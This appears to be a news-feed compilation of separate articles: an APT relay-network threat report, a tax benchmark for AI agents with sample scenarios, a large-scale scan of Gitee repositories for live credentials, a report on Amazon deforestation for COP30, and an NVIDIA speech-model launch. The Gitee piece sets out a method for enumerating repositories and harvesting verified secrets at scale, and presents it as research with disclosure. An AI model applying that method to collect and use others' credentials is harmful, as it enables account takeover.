By monitoring Silent Train activity, the researchers were able to observe zero-day exploits for the following products:

CVE-2026-16812 – VeloCloudOrchestrator
CVE-2026-20127 – Cisco Catalyst SD-WAN
CVE-2025-8875 and CVE-2025-8876 – N-able N-central
CVE-2024-39717 – Versa Director
Quest KACE (suspected zero-day)

Compromising these platforms gives threat actors broad administrative control, enabling credential theft, remote access, and reach into downstream customers without the “noisy” lateral movement that might trigger detection.

**Exploitation timeline**
*Source: Black Lotus Labs*

“To construct these sessions, its operators exploit exposed web interfaces on SOHO, IoT, and other relay devices, then deploy only the tooling needed to enable chained SSH access through the compromised node,” Black Lotus Labs explains in a report today.

“This included temporary SSH services, keys, configuration files, and “live off the land” utilities.”

After the session ends, typically in under 8 hours, the threat actors remove all their tooling, keys, and configuration files from the disposable relays.

By early 2025, researchers noticed that the framework become hybrid, using disposable relays alongside compromised enterprise systems thaat were retained between one and three months.

Black Lotus Labs believes Silent Train was reserved for high-value targets and careful, hands-on operations conducted on China Standard Time (CST) timezone. The use of zero-days against those targets further strengthens the assumption.

The researchers recommend strengthening security around centralized management systems, restricting internet access to administrative interfaces, rapidly patching vulnerabilities, and centralizing logs with longer retention.

They also advise monitoring for unusual administrative activity, reviewing trusted connections that could expose customer or partner networks, and following CISA and NCSC guidance on Volt Typhoon.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

Dayjob: Tax – evaluating AI agents on 50 professional tax assignments

Hacker News

Original Article

Anna was planning to sell her condo. She had moved out in August 2024 and wanted to know whether closing in October 2026 or January 2027 would be better for taxes.

An AI agent reviewed both options and correctly concluded that either date would satisfy the residence requirement for a tax break worth up to $250,000 in excluded gains.

But it left out an important deadline.

Under the usual rules, homeowners must have lived in a property for at least two of the five years before selling it to qualify for the exclusion. Because Anna moved out in August 2024, she would stop satisfying that requirement around the end of August 2027. If her sale was delayed beyond August 2027, she could lose eligibility.

Across five attempts, Astra never identified the deadline. Opus identified it in all five attempts.

The agent evaluated the proposed dates correctly, but its advice left Anna unaware of a deadline that could affect a major financial decision. A tax adviser should recognize consequential issues even when the client doesn't know to ask about them.

This is the kind of professional judgment we're testing with DAYJOB: Tax , the latest addition to Surge AI's DAYJOB benchmark family .

Introducing DAYJOB: Tax

DAYJOB evaluates AI agents on professional tax assignments requiring specialized expertise, complex materials, and decisions that aren't fully specified in the initial instructions. Our earlier releases covered Healthcare and Finance. DAYJOB: Tax extends that work into tax preparation, compliance, and advisory services.

The benchmark contains 50 environments across eight areas of tax practice. Agents receive client requests and supporting records, then produce tax returns, workpapers, technical reviews, or client advice.

These assignments test professional judgment alongside tax knowledge, calculations, retrieval, and instruction following. Agents must decide what deserves investigation, resolve conflicting evidence, recognize when information is insufficient, and carry those decisions into their final work.

Results: Leaderboard and Pareto Frontiers

Claude Sonnet 5.5 leads with a 10.8% pass rate on the DAYJOB: Tax leaderboard , followed by Claude Fable 5.1 at 9.6% and Claude Opus 5.5 at 9.2%.

We report pass@1 at a 95% rubric threshold. An attempt passes when it satisfies at least 95% of the task's criteria, which assess calculations, supporting evidence, consequential issues, and the completed deliverable.

Performance versus cost

We also compared model performance against average cost per trial.

Claude Sonnet 5.5 and Opus 5.5 occupy the high-performance end of the measured Pareto frontier.

The breadth of professional tax work

DAYJOB: Tax covers eight areas, each requiring different rules, records, and expertise:

Individual and family tax
Small-business tax
Partnerships
Property and investments
Estates, gifts, and trusts
International tax
Corporate transactions
Tax review and disputes

Some assignments require complete filing packages with supporting workpapers. Others ask agents to investigate transactions, review previous filings, or prepare advice about decisions clients haven't yet made.

What's inside the assignments?

The benchmark contains 1,789 workspace files , with a median of 30 per assignment and as many as 123. These include 1,487 PDFs, 117 Excel workbooks, 38 Word documents, and additional emails, images, CSVs, JSON records, and text files.

The workspaces include filed and draft tax returns, K-1s, W-2s, IRS notices, general ledgers, payroll records, contracts, and correspondence. They also contain the less standardized evidence that tax professionals routinely work with.

One assignment includes a photograph of a handwritten receipt for merchandise purchased for resale . The agent must read the item descriptions and amounts, reconcile them with spending records, and determine how the purchases affect inventory and cost of goods sold.

Another assignment involves an industrial silo-services company whose client assumes it operates only in Alabama. But its field dispatch log shows crews working across five states . The job locations, crew sizes, and days on site provide evidence relevant to the company's multistate tax obligations.

Other environments are similarly varied. One involves a cross-border household whose Polish employment and property records must be reconciled with cryptocurrency exchange exports, wallet histories, and historical purchase lots.

Created and reviewed by tax experts

DAYJOB tasks begin with real-world professional workflows. Tax experts turn these situations into realistic assignments, developing the supporting records, expected outcomes, and grading criteria. Each task undergoes a three-layer expert review for correctness, completeness, and solvability.

Tax experts bring experience across corporate taxation, partnerships, individual returns, trusts, and multistate compliance. Their backgrounds include:

Corporate and private-equity taxation: A tax attorney with over 10 years of experience at PwC, Deloitte, and Exxon, covering tax planning, compliance, audits, and controversy.
Partnership and corporate taxation: A Baker Tilly Tax Director with experience at PwC, Moss Adams, and Windes, specializing in complex partnership allocations, consolidated corporate returns, REITs, and high-net-worth clients.
Real estate and individual taxation: A tax professional with experience at Deloitte and EY, specializing in real-estate partnerships, individual taxation, and trusts.

A retirement plan built on an unverified assumption

A separating couple asked an AI agent how to divide their Roth IRA and 401(k). Opus 5.5 told them they weren't legally married and recommended keeping their accounts separate, with a cash payment to even out the balances.

It opened one response:

You aren't legally married, so neither account can be split without triggering taxes and penalties.

But the couple's own records raised doubts about that conclusion. Although they now lived in Florida, where new common-law marriages generally aren't recognized, they had previously lived together in Texas and held a ceremony in Colorado. Texas recognizes informal marriages under certain conditions, and a valid marriage established elsewhere may remain valid in Florida.

That distinction could change the tax consequences of dividing their retirement accounts.

Across all five attempts, Opus based its recommendations around the assumption that the couple was unmarried , even when it acknowledged uncertainty. Astra recognized the need to verify their marital status in four of five attempts. One response advised:

We first need to confirm your legal marital status.

The client asked how to divide the accounts. The agent needed to establish whether they were married before recommending a course of action. The evidence that should have prompted that investigation was already in the files.

Where DAYJOB: Tax fits

Most existing tax benchmarks begin with a defined problem: a legal question to answer, a return to calculate, or missing taxpayer information to collect. These evaluations measure important capabilities, but much of a tax professional's work involves figuring out what the problem actually is. Clients provide incomplete instructions, records contain conflicting evidence, and consequential issues may never appear in the original request.

DAYJOB tests whether agents can handle that end-to-end responsibility , including identifying issues the client overlooked, evaluating conflicting evidence, and deciding what needs to be done in the first place.

TaxBench

Can the model answer a difficult tax question?

TaxBench evaluates 114 tax questions across multiple specialties, each with a defined problem and grading rubric.

DAYJOB also asks whether the client asked the right question. Anna wants to compare two dates for selling her condo. Both satisfy the residence requirement for a tax exclusion, but does the agent warn her when that eligibility could expire?

TaxCalcBench

Can the model calculate an accurate return?

TaxCalcBench evaluates tax-return accuracy against expected filing values, using realistic tax documents and taxpayer scenarios.

DAYJOB also asks whether the underlying records actually support the tax treatment. A studio's ledger references an attached receipt, but the receipt is missing. Does the agent flag the missing evidence or incorrectly treat the reimbursement as verified?

TaxLab

Can the agent gather missing information and file correctly?

TaxLab tests whether agents can question a simulated taxpayer, obtain missing information, and complete a federal individual tax return.

DAYJOB extends that responsibility across the wider tax profession. The deliverable might be a partnership loss analysis, an estate return, a review of a disputed tax position, or a strategy letter.

The central distinction is how much responsibility remains with the agent. DAYJOB evaluates whether agents can discover consequential issues, exercise professional judgment, and carry their findings through to a completed filing, review, or recommendation.

What DAYJOB: Tax measures

DAYJOB tests whether AI agents can take ownership of a professional assignment from start to finish. That means navigating messy records, identifying issues the client never raised, making sound judgments with incomplete information, and delivering work that meets professional standards.

The results show how difficult that remains for frontier models. Even when agents can perform the individual steps, exercising professional judgment and reliably carrying out real-world tax workflows remain out of reach.

Agents haven’t yet passed the audit.

26,400 live credentials found scanning 7.25M repos on China's Gitee

Hacker News

Original Article

This guest post by independent security researcher Ben Zimmermann was developed in collaboration with the Kingfisher team at MongoDB. Ben specializes in large-scale credential exposure research across public source-hosting platforms.

TL;DR: I scanned 7,256,531 public repositories on Gitee (China's largest indigenous Git hosting platform), using both TruffleHog and Kingfisher, and found 26,400 unique verified-live credentials . Findings included an active organization-admin credential for a major enterprise AI platform and thousands of live cloud provider access keys.

What is Gitee?

Gitee, launched in 2013 by OSChina, was selected by China's Ministry of Industry and Information Technology as the country's national open-source code hosting platform. Its public API is severely constrained relative to GitHub and GitLab: no paginated projects endpoint, and the on-site code-search feature appears to have been retired years ago. A 2021 attempt to study credential exposure on Gitee concluded that its APIs were too limited to scale the research.

Like any large Git platform, it's an attractive surface for credential exposure:

It is Git-based, so secrets buried deep in commit history persist.
It hosts millions of public repositories with active commit volume.
It has no public equivalent of the platform-vendor secret-scanning partnerships that have become standard on GitHub.

Enumerating millions of Gitee repositories

Gitee's public API is severely limited, so enumerating millions of repositories required combining many surfaces: the only official REST endpoint that returned useful data at scale, the platform's Explore feed, per-user repository and stargazer pages on the website itself, and Gitee's internal Elasticsearch widget that backs the on-site search UI.

Bootstrapping a username corpus

The single official REST endpoint that returned useful data at scale was GET /api/v5/search/users?q= . I hit it with three-character prefix queries ( aaa , aab , ..., zzz ) and combined the results with usernames extracted from the public Explore feed ( /explore/all?order=starred|popular|updated ). I then expanded that set via each user's following list and the stargazers of popular repositories. This produced a seed corpus of 1,704,759 usernames .

Scraping per-user pages on the frontend

With the username corpus in hand, two per-user pages yielded repositories: gitee.com/{user}/projects (a user's own repos) and gitee.com/{user}/stared_projects (repos the user has starred). Page 1 of /projects returns full HTML; subsequent pages are AJAX-paginated ( X-Requested-With: XMLHttpRequest ). The stargazer-list pages used during username bootstrap paginate the same way, additionally requiring a CSRF token extracted from the page-1 HTML.

Querying the on-site search widget

A large fraction of the platform sits outside the social graph. To reach it, I used the same internal Elasticsearch endpoint that backs Gitee's on-site search UI: so.gitee.com/v1/search/widget/wong1slagnlmzwvsu5ya . It takes a query ID, a q parameter, and pagination via from + size :

Each query returned at most 20 results per page, with a hard cap of 200 results total ( from + size <= MAX_RESULTS ) regardless of how many matches actually existed. For specific usernames, this was usually fine; for common usernames and trigram prefix queries against the widget, the cap silently truncated results.

Escaping the 200-result cap with bucket splitting

The widget's response includes Elasticsearch aggregations that bucket results by language ( 编程语言 ) and license ( 许可证 ). For the per-username scrape, when a query was capped, I split it by the language buckets the response already returned:

For trigram prefix queries against the widget (used to surface repos not associated with any user I'd discovered), I extended this into a BFS over a query tree: capped nodes split first by language, then by license, then by deeper prefix until each branch fit within 200 results.

After deduplicating repo IDs across all sources, this produced a working set of 7,256,531 unique public Gitee repositories.

Wiring up the scan pipeline

The next challenge was cloning and scanning the 7.25 million repositories. To do this in a single Python script, I used Modal , a serverless compute platform popular for AI workloads but well-suited to most parallel jobs. I ran TruffleHog and Kingfisher concurrently against every repository for increased coverage. Each surface verified credentials that the other missed, so running both caught more exposed credentials than either alone.

Figure 1. Dual-scanner pipeline architecture.

The Docker image

The container image is a multi-stage build that pulls both scanner binaries from their upstream releases into a single Python base, plus git and OpenSSH for cloning:

The per-repo scan function

A single Modal function bare-clones each repo over SSH and runs both scanners concurrently as subprocesses against the same on-disk clone:

Dispatching 7.25M repos in batches

I split the corpus into 50 batches of ~150K repos and ran them sequentially at a steady 350 concurrent containers. Smaller batches were safer at this scale and easier to resume after interruptions; running larger batches was unstable and would hit clone-side blocks.

Cost and scale

Total wall time: roughly one month of continuous execution. Per-repo clone times were a major contributor: Gitee's servers sit in China, and cross-Pacific network distance plus SSH protocol overhead made each clone materially slower than an equivalent GitHub clone would be. The total cost was $3,097.64, fully absorbed by the $5,000 compute-credit sponsorship from Modal that supported this research. The same Modal + dual-scanner architecture works against most Git hosts with little more than a clone-URL substitution. I used a smaller-scale version of this approach in a prior investigation of Algolia DocSearch admin keys .

The results

Across the 7,256,531 public Gitee repositories scanned, the dual-scanner pipeline surfaced 26,400 unique, verified-live credentials after deduplicating by token value.

Both scanners authenticate each candidate against its vendor's API at scan time (TruffleHog's --only-verified and Kingfisher's --only-valid modes), discarding anything that pattern-matches but fails to authenticate. The 26,400 figure is deduplicated by raw secret value, so duplicates across repositories or scanners count once.

Either scanner alone would have caught only about half of these credentials. The two tools' detector coverage was largely complementary: TruffleHog dominated Alibaba Cloud key detection (9,428 vs. 993), while Kingfisher dominated DeepSeek (2,940 vs. 230), OpenAI (1,198 vs. 150), HuggingFace (154 vs. 1), and Chinese-AI services like Zhipu (1,489 vs. 0) that TruffleHog has no detector for.

Secrets by type

The single most common leaked credential type was Alibaba Cloud AccessKey pairs: roughly 1 in every 766 Gitee repositories contained a verified-live Alibaba Cloud credential.

Figure 2. Credentials by vendor.

A long tail of additional vendors (LangSmith, OpenWeather, Algolia, PostHog, OpenRouter, MySQL, Stripe, Slack, Twitter, and others) accounts for the rest.

Secrets committed by date

The vast majority of verified-live credentials were committed in the last two years. 2025 alone accounts for 12,242 unique credentials, nearly half the entire dataset.

Figure 3. Unique credentials committed by year.

Secrets by committer email domain

Most credentials were committed from personal mail services (qq.com, 163.com, gmail.com), making per-company attribution impossible at scale. The corporate-domain numbers below are a floor; even so, the names span major Chinese and Western tech companies alike.

Figure 5. Unique credentials by committer email domain.

Smaller corporate footprints also appear from Oracle, Apple, Meta, Anthropic, and others, plus Chinese commercial and academic domains.

Comparing Gitee with GitLab and Bitbucket

The closest prior data points come from TruffleSecurity's scan of 5.6 million public GitLab repositories , and a companion Bitbucket scan referenced in that post.

Gitee tops both Western platforms on raw count and per-repository density. One methodology note: the TruffleSecurity scans used TruffleHog alone, while this one used TruffleHog and Kingfisher together. TruffleHog's detector library skews toward Western vendors, and Gitee has heavy Chinese-vendor activity (Alibaba Cloud, DeepSeek, Zhipu, and others) that Kingfisher's coverage helps to surface; stripping our findings to TruffleHog-only puts Gitee at 1.76 per 1,000 repos.

Disclosure

I emailed the vendors with the highest exposure volume in this scan, providing each a coordinated report containing the full list of verified-live credentials associated with their service, along with source-repository metadata to help them attribute affected customers.

Per-developer notification (contacting the committer of each leaked credential individually) was not pursued at this scale. Vendor-side revocation is the more reliable path, since it doesn't require any action from the user who leaked the credential.

At the time of writing, revocation status for the disclosed credentials has not yet been confirmed.

Summary

Gitee is a meaningful credential-exposure surface. 26,400 verified-live credentials across 7.25M repositories. Per-repository density higher than comparable published scans of GitLab and Bitbucket.
Major tech companies appear in the committer metadata, Chinese and Western alike. The breadth includes Huawei, ByteDance, Google, Microsoft, Oracle, and others, suggesting this is not a purely-Chinese-developer phenomenon.
Disclosure paths are asymmetric. Western companies typically have bug bounty programs or accessible security channels. Most Chinese companies don't, leaving leaked credentials without a clear remediation path.
The architecture is portable. The same Modal + dual-scanner pipeline works on most Git hosts with little more than a clone-URL substitution; the full scan cost roughly $3,000.

Amazon rainforest cut down to build highway for COP climate summit (2025)

Amazon forest felled to build road for climate summit

Watch: Drone shots show scale of Amazon deforestation for COP30 road

A new four-lane highway cutting through tens of thousands of acres of protected Amazon rainforest is being built for the COP30 climate summit in the Brazilian city of Belém.

It aims to ease traffic to the city, which will host more than 50,000 people - including world leaders - at the conference in November.

The state government touts the highway's "sustainable" credentials, but some locals and conservationists are outraged at the environmental impact.

The Amazon plays a vital role in absorbing carbon for the world and providing biodiversity, and many say this deforestation contradicts the very purpose of a climate summit.

Along the partially built road, lush rainforest towers on either side - a reminder of what was once there. Logs are piled high in the cleared land which stretches more than 13km (8 miles) through the rainforest into Belém.

Diggers and machines carve through the forest floor, paving over wetland to surface the road which will cut through a protected area.

BBC / Paulo Koba Drone footage shows logs piled up in the Amazon rainforest.

Claudio Verequete lives about 200m from where the road will be. He used to make an income from harvesting açaí berries from trees that once occupied the space.

"Everything was destroyed," he says, gesturing at the clearing.

"Our harvest has already been cut down. We no longer have that income to support our family."

He says he has received no compensation from the state government and is currently relying on savings.

He worries the construction of this road will lead to more deforestation in the future, now that the area is more accessible for businesses.

"Our fear is that one day someone will come here and say: 'Here's some money. We need this area to build a gas station, or to build a warehouse.' And then we'll have to leave.

"We were born and raised here in the community. Where are we going to go?"

Claudio Verequete says the trees he harvested açaí from have been cut down

BBC / Paulo Koba Claudio Verequete sits on a felled tree, wearing a red jumper. He has short grey hair and is looking at the camera — Claudio Verequete says the trees he harvested açaí from have been cut down

His community won't be connected to the road, given its walls on either side.

"For us who live on the side of the highway, there will be no benefits. There will be benefits for the trucks that will pass through. If someone gets sick, and needs to go to the centre of Belém, we won't be able to use it."

The road leaves two disconnected areas of protected forest. Scientists are concerned it will fragment the ecosystem and disrupt the movement of wildlife.

Prof Silvia Sardinha is a wildlife vet and researcher at a university animal hospital that overlooks the site of the new highway.

She and her team rehabilitate wild animals with injuries, predominantly caused by humans or vehicles.

BBC / Paulo Koba A sloth looks directly into the camera, with three long claws on one paw visible in the foreground — Sloths are among the animals frequently needing treatment after injuries caused by humans

Once healed, they release them back into the wild – something she says will be harder if there is a highway on their doorstep.

"From the moment of deforestation, there is a loss.

"We are going to lose an area to release these animals back into the wild, the natural environment of these species," she said.

"Land animals will no longer be able to cross to the other side too, reducing the areas where they can live and breed."

The Brazilian president and environment minister say this will be a historic summit because it is "a COP in the Amazon, not a COP about the Amazon".

The president says the meeting will provide an opportunity to focus on the needs of the Amazon, show the forest to the world, and present what the federal government has done to protect it.

But Prof Sardinha says that while these conversations will happen "at a very high level, among business people and government officials", those living in the Amazon are "not being heard".

The state government of Pará had touted the idea of this highway, known as Avenida Liberdade, as early as 2012, but it had repeatedly been shelved because of environmental concerns.

Now a host of infrastructure projects have been resurrected or approved to prepare the city for the COP summit.

Adler Silveira, the state government's infrastructure secretary, listed this highway as one of 30 projects happening in the city to "prepare" and "modernise" it, so "we can have a legacy for the population and, more importantly, serve people for COP30 in the best possible way".

Speaking to the BBC, he said it was a "sustainable highway" and an "important mobility intervention".

He added it would have wildlife crossings for animals to pass over, bike lanes and solar lighting. New hotels are also being built and the port is being redeveloped so cruise ships can dock there to accommodate excess visitors.

Brazil's federal government is investing more than $81m (£62m) to expand the airport capacity from "seven to 14 million passengers". A new 500,000 sq-m city park, Parque da Cidade, is under construction. It will include green spaces, restaurants, a sports complex and other facilities for the public to use afterwards.

BBC / Paulo Koba João Alexandre Trindade da Silva — João Alexandre Trindade da Silva hopes COP30 will leave a great legacy for the people of Pará state

Some business owners in the city's vast open-air Ver-o-peso market agree that this development will bring opportunities for the city.

"The city as a whole is being improved, it is being repaired and a lot of people are visiting from other places. It means I can sell more and earn more," says Dalci Cardoso da Silva, who runs a leather shoe stall.

He says this is necessary because when he was young, Belém was "beautiful, well-kept, well cared for", but it has since been "abandoned" and "neglected" with "little interest from the ruling class".

João Alexandre Trindade da Silva, who sells Amazonian herbal medicines in the market, acknowledges that all construction work can cause problems, but he felt the future impact would be worth it.

"We hope the discussions aren't just on paper and become real actions. And the measures, the decisions taken, really are put into practice so that the planet can breathe a little better, so that the population in the future will have a little cleaner air."

That will be the hope of world leaders too who choose to attend the COP30 summit.

Scrutiny is growing over whether flying thousands of them across the world, and the infrastructure required to host them, is undermining the cause.

Original Article

One open model for multilingual transcription, speaker attribution, translation, and audio Q&A, with top leaderboard results, plus the open Granary v2 data pipeline and fine-tuning recipes to adapt it.

A transcript can capture every spoken word and still leave users or applications wondering who said what, how to translate it, or how to format domain-specific jargon. Multilingual calls, fast-paced meetings, and medical dictation each need different output: a translation, speaker labels, or correctly spelled medical terms.

NVIDIA Nemotron 3.5 Transcribe is an open-weight, promptable model that turns recorded speech into useful text, now available on Hugging Face and ModelScope . It brings transcription, speaker attribution (diarization), translation, and audio question answering into one checkpoint: it transcribes 40 languages, translates 31 of them to or from English, and attributes speakers in 13. It handles recordings up to an hour long and labels up to eight speakers. Developers can guide output with natural language, choose where their audio is processed, and adapt recognition to domain vocabulary and accents.

Transcribe is first among open-weight models on the Hugging Face Open ASR Leaderboard for English and sits on Artificial Analysis ’s accuracy–active-parameter frontier. For speaker attribution, it posts the lowest error rate on David AI’s 21-language diarization leaderboard and ranks first in VoiceArena’s 14-system comparison . Quantized versions are coming soon, so you can run Transcribe locally on your RTX Spark, DGX Spark, or Jetson AGX Thor—or scale up on Blackwell data-center GPUs.

Granary v2’s multilingual data (available on Hugging Face and ModelScope ) and reusable curation pipeline, together with NeMo Speech fine-tuning tools , extend prompt-level control to training: developers can define the written form they need and adapt the model to the speech their applications encounter. In a medical case study , fine-tuning cut word error rate (WER) on held-out speakers by 45.8% relative to the best prompt.

Guide transcription and analysis with natural language

The same checkpoint can turn one meeting recording into different outputs, depending on the instruction:

“Transcribe this recording and label each speaker.”
“Translate this audio into English.”
“What decisions were made in this meeting?”

Experience the model in action in the video below, where it tackles a classic scene from the 1940 screwball comedy His Girl Friday—a film famous for its rapid-fire, heavily overlapping dialogue.

Nemotron 3.5 Transcribe captions a scene from His Girl Friday (1940) and labels speakers, including overlapping dialogue.

For unfamiliar terms, try context before training. In a healthcare setting, for example:

Transcribe this medical discussion in the original language. Possible terms: HbA1c, metformin. Use these terms only when supported by the audio. Preserve standard medical spelling and write numbers in conventional written form.

The model card has recommended presets, including reasoning for audio questions, plus the full prompt guide and a task-by-language matrix: language support differs by task, and audio question answering is trained in English. Word-level timestamps are also supported. As with any speech model, spot-check names, speaker changes, and answers against the recording.

From live classes to lasting lessons. Agora, whose real-time voice and video platform powers live conversations in apps, used word-level timestamps in a classroom demo: Nemotron 3.5 Transcribe turns a recorded class into a transcript shown alongside the replay, so students can see what was said and when. Agora’s blog walks through how they built it.

Leaderboard wins from transcription to speaker attribution

Among open-weight models, Transcribe leads on what was said; on who said it, it tops two speaker-attribution benchmarks outright.

Hugging Face Open ASR Leaderboard. The leaderboard measures transcription accuracy as word error rate (WER) on public test sets, in three tracks:

English: first among open-weight models at 5.33% average WER (Figure 1).
Multilingual: 4.62% mean WER across seven languages, the lowest among evaluated open-weight models in the model card’s Open ASR comparison.
Long-form: 10.98% mean WER, also the lowest in that comparison.

Figure 1. Nemotron 3.5 Transcribe ranks first among open-weight models on the Hugging Face Open ASR Leaderboard (English) at 5.33% average WER, with API models excluded. Lower WER means fewer transcription errors.

Artificial Analysis Speech-to-Text Leaderboard. Artificial Analysis independently ranks speech-to-text models by AA-WER, its word error rate index. Nemotron 3.5 Transcribe ties for first among open-weight models at 2.8% AA-WER, with about 4B active parameters versus 24B for the model it ties. On AA-AgentTalk, the held-out voice-agent speech set that makes up 50% of the AA-WER index, Transcribe scores 1.8% WER, versus 2.3% for the next-best open-weight model. Transcribe pairs its speech encoder with a hybrid Mamba–Transformer mixture-of-experts language model, so only about 4B of its 30B parameters are active per token. That puts it on Artificial Analysis ’s open-weight Pareto frontier of accuracy versus active parameters. On AA’s all-model chart, it ranks ahead of several widely used proprietary speech APIs.

Figure 2. Leading AA accuracy at about one-sixth the active parameters: Nemotron 3.5 Transcribe achieves 2.80% AA-WER with approximately 4B active parameters.

Speaker attribution across languages and overlap. Sortformer speaker cues reach the language model with the acoustic features, so Transcribe can tag each turn during generation instead of relying solely on a later step to attach speakers to words.

David AI DAI-ASR-I18N Leaderboard. On David AI’s DAI-ASR-I18N combined transcription-and-speaker-attribution track , Transcribe ranks first among evaluated open-weight models and second overall. On the benchmark’s diarization track, which scores who spoke when across 21 languages, it has the lowest diarization error rate of the 14 systems tested, slightly ahead of NVIDIA’s dedicated Nemotron 3 Diarization model.

Figure 3. NVIDIA models hold the top two spots on David AI’s multilingual diarization leaderboard : Nemotron 3.5 Transcribe posts the lowest overall diarization error rate (DER), 18.26% across 21 languages, followed by Nemotron 3 Diarization at 18.38%. DER measures speaker-time errors; lower is better.

VoiceArena Diarization-Bench. On VoiceArena’s English full-session benchmark , Transcribe posts the lowest concatenated minimum-permutation WER (cpWER) of 14 systems and ranks first in both in-person and online settings. It also drops the fewest words: deletions are 8.32% of reference words, versus a median of about 31%.

$VoiceArena_Track2_cpWER_ranking_1Bar chart from VoiceArena’s Diarization-Bench v1 ranking 14 diarization-plus-ASR systems on English full sessions with overlapping speech by concatenated minimum-permutation word error rate (cpWER), where lower is better. NVIDIA Nemotron 3.5 Transcribe ranks first at 32.4%, followed by NVIDIA Multitalker Parakeet \+ Nemotron 3 Diarization at 34.2%; the remaining systems range from 34.7% to 71.9%$

Figure 4. NVIDIA models hold the top two spots in VoiceArena’s 14-system comparison : Nemotron 3.5 Transcribe leads at 32.4% cpWER, followed by NVIDIA Multitalker Parakeet with Nemotron 3 Diarization at 34.2%. Diarization-Bench v1 covers English full sessions, overlapping speech and 2–8 speakers. cpWER counts word errors after matching speaker labels; lower is better.

More evaluations. Ocular AI’s Converse-STT evaluation ranks Transcribe the top open model. Josh Talks’ Voice of India leaderboard reports Transcribe’s results across Indian languages.

High-throughput transcription. In benchmarking, Transcribe processed 100 hours of audio in under three minutes on one NVIDIA RTX PRO 6000 Blackwell Server Edition GPU, using the forthcoming NVFP4 quantized version. Results were measured on 30-second clips at high concurrency.

Serve the available checkpoint with vLLM today. Local deployment with NeMo-Speech.cpp is coming soon alongside the quantized versions. Transcribe is built for recorded audio, not live streaming.

Specialized recordings can still call for adaptation to domain vocabulary and transcript conventions. Granary v2 and NeMo Speech fine-tuning address that, starting with the data behind Transcribe.

Granary v2: The open data curation pipeline behind Transcribe

A promptable speech model requires training data with unambiguous formatting targets. Granary v2 is part of the Nemotron speech collection on Hugging Face and ModelScope . Built with NVIDIA NeMo Curator , its reusable pipeline prepared multilingual speech used in Nemotron 3.5 Transcribe’s training, producing aligned transcript variants, task labels, and inspectable quality metadata. The public manifest covers 463,062 hours across 48 languages and 16 source corpora, up from 25 languages in Granary v1 . These figures describe the dataset release, not Transcribe’s full training mixture or its sampling weights.

Granary v2 generates three transcript forms for each recording (Table 1), the same verbatim and clean styles developers can request from Transcribe with a prompt. Beyond transcription, the pipeline produces short audio captions, code-switching restoration of loanwords, speech-grounded Q&A pairs, contextual ASR biasing terms, and translations with automatic quality scores.

Training target	Illustrative transcript
Text-normalized, verbatim	I paid, uh, twenty-five euros.
Inverse text normalization, with disfluencies	I paid, uh, €25.
Inverse text normalization, without disfluencies	I paid €25.

Table 1. Granary v2 training targets for the same utterance.

The pipeline is organized into four reusable stages:

1. Audio Preparation (Metadata): Segments raw or long-form audio, tracks speakers across the full recording, and tags acoustic events and language. Granary v2’s sources were already segmented, so this release skipped this stage.
2. Transcription (ASR): Routes each language to primary and recovery ASR models, falling back when the primary fails a hallucination check. Human reference transcripts help preserve trusted spellings while adding spoken forms and disfluencies.
3. Task Label Generation (Text): Derives transcript variants, then checks character rate, hallucination patterns, and model or human-reference agreement. Only accepted records receive contextual-ASR terms and translations.
4. High Fidelity (HiFi): Filters out segments that are noisy, clipped, or contain multiple speakers, keeping a smaller set of high-quality recordings for uses beyond ASR. For the VoxPopuli dataset, it reduced 354k hours to 111k hours across 22 European languages.

Figure 6. Granary v2 data curation pipeline, following one sample from raw audio through the Metadata, ASR, and Text stages to a training example.

Developers can run the NeMo Curator pipeline with Ray and NVIDIA Dynamo backends on their own recordings or authorized public corpora, or build on the Granary v2 public manifests . The manifests include the three transcript forms as tn_raw, itn_raw, and itn_clean, the labels described above, entity hints, derived instruction pairs, provenance, and a per-record quality flag. Download source audio separately under each corpus’s original license, and follow the release’s published terms.

Adapt recognition to the vocabulary that matters

Start with a development-set prompt that specifies language, script, and transcript format. In the case study below, naming English and the Latin alphabet in the prompt cut full-benchmark WER from 30.8% to 23.8%. For domain errors that remain, the NeMo Speech fine-tuning workflow pairs representative speech with explicit written targets.

The NeMo Speech medical ASR case study shows this progression on Eka Care’s open benchmark of recordings from Indian doctors and medical students, which has 3,619 clips and no designated training split. The study builds adaptation data from generated medical text and public medicine catalogs, then combines approximately 153 hours of synthetic speech, 29 hours of accented English from Common Voice, and 63 hours of medical recordings from MultiMed.

Figure 7. On the full test set of Eka Care’s Indian medical speech benchmark, a better prompt cuts WER from 30.8% to 23.8%, and fine-tuning brings it to 11.8%, about 62% fewer transcription errors than the model out of the box. The full set includes the 855 tuning clips used to choose the prompt and checkpoints; the held-out results below are the cleaner test.

Synthetic generation separates the written target from its spoken rendering: “HbA1c” is the label, while “H B A one C” is sent to the synthesizer. Multiple TTS voices broaden the audio; real recordings add accents and recording conditions. Training text is filtered for exact matches and shared eight-word sequences with benchmark references.

As with Granary v2’s explicit targets, training examples vary digits, unit spacing, company-name expansion, and brand-name hyphens, with instructions specifying the required convention. Some prompts include term lists with near-miss distractors, so the model learns to use a spelling only when the audio supports it. The final system uses one fixed convention prompt and one model pass, without retrieval or transcript post-processing.

The recipe trains the speech encoder and projection and uses LoRA to adapt the language model. Two runs use different data mixtures; after adapter merging, selected checkpoints are uniformly averaged into one final model. Checkpoint selection uses decoded development-set results, rather than training loss alone. The full adaptation, from text generation through evaluation, took about 14 GPU-hours on one NVIDIA GB300.

Domain gains, measured on held-out speakers

The study splits the benchmark by speaker into 855 tuning clips, used to choose the prompt and checkpoints, and 2,764 held-out clips, decoded once per final system. Using Eka Care’s KARMA scoring pipeline , fine-tuning cuts held-out WER from 22.44% for the best-prompt baseline to 12.17%, a 45.8% relative reduction and the clearest evidence that the gains generalize to new speakers. Keyword WER falls from 9.2% to 6.5%, and semantic WER from 10.0% to 7.6%. On the same held-out speakers and scorer, the adapted model’s 12.17% WER beats an open medical-specialist model (13.79%) and a widely used general-purpose ASR model (14.92%).

On general English, LibriSpeech test-clean WER rises slightly, from 1.54% to 1.69%. The medical specialist still leads on exact matches for brand-name drugs and diagnostics; the study points to real recordings of clinicians saying brand names as the next step. For your own domain, keep at least 100 real, labeled clips for checkpoint selection, and evaluate the entity types your application depends on alongside general-speech retention.

The case study includes commands to reproduce each step. The fine-tuning tutorials cover recipes, resource requirements, and tools for training, export, and evaluation, including new-language and code-switching ASR. The accompanying agent skill lets a coding agent run the workflow, from baseline selection and data checks through training validation, adapter merging, and evaluation.

